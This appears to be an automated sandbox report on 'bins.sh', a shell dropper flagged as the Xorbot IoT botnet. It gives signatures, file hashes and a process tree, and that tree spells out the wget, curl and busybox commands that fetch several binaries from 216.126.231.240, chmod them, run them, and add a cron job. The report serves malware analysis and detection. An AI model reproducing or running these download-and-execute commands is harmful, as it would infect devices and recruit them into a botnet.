Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/12/2024, 08:37

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241205-kh522aspak
  • SHA256 d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1942) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:665
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          ./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Executes dropped EXE
          PID:690
        • /bin/rm
          rm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:695
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            ./bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Executes dropped EXE
            PID:702
          • /bin/rm
            rm bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
              PID:704
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:705
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:712
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:719
            • /bin/chmod
              chmod 777 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • File and Directory Permissions Modification
              PID:723
            • /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              ./X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:724
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:726
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:728
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:729
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:730
                  • /bin/rm
                    rm X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
                    2⤵
                      PID:734
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                      2⤵
                        PID:738
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                        2⤵
                          PID:740
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                          2⤵
                          • Writes file to tmp directory
                          PID:826
                        • /bin/chmod
                          chmod 777 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                          2⤵
                          • File and Directory Permissions Modification
                          PID:837
                        • /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                          ./6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                          2⤵
                          • Executes dropped EXE
                          PID:841
                        • /bin/rm
                          rm 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                          2⤵
                            PID:842
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                            2⤵
                              PID:843
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                              2⤵
                                PID:845
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                2⤵
                                • Writes file to tmp directory
                                PID:849
                              • /bin/chmod
                                chmod 777 gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                2⤵
                                • File and Directory Permissions Modification
                                PID:854
                              • /tmp/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                ./gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                2⤵
                                • Executes dropped EXE
                                PID:857
                              • /bin/rm
                                rm gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                2⤵
                                  PID:858
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                  2⤵
                                    PID:860
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                    2⤵
                                      PID:865
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:868
                                    • /bin/chmod
                                      chmod 777 kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:872
                                    • /tmp/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                      ./kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                      2⤵
                                      • Executes dropped EXE
                                      PID:874
                                    • /bin/rm
                                      rm kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                      2⤵
                                        PID:875
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                        2⤵
                                          PID:876
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                          2⤵
                                            PID:877
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:879
                                          • /bin/chmod
                                            chmod 777 x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:893
                                          • /tmp/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                            ./x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                            2⤵
                                            • Executes dropped EXE
                                            PID:894
                                          • /bin/rm
                                            rm x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                            2⤵
                                              PID:896
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                              2⤵
                                                PID:897
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                                2⤵
                                                  PID:898

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI

                                                    • Path /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                                                    • Size 98KB
                                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1

                                                    • Path /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
                                                    • Size 119KB
                                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks

                                                    • Path /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
                                                    • Size 112KB
                                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7

                                                    • Path /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
                                                    • Size 99KB
                                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx

                                                    • Path /tmp/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                                    • Size 141KB
                                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS

                                                    • Path /tmp/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                                    • Size 127KB
                                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE

                                                    • Path /tmp/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                                    • Size 151KB
                                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tmp.f2JGDg

                                                    • Path /var/spool/cron/crontabs/tmp.f2JGDg
                                                    • Size 210B
                                                    • SHA256 754c33fc3868d23f82513f6cfb50f93d25e701095d0684b73ae04debe5f8dba5
                                                    • MD5 SHA1 SHA512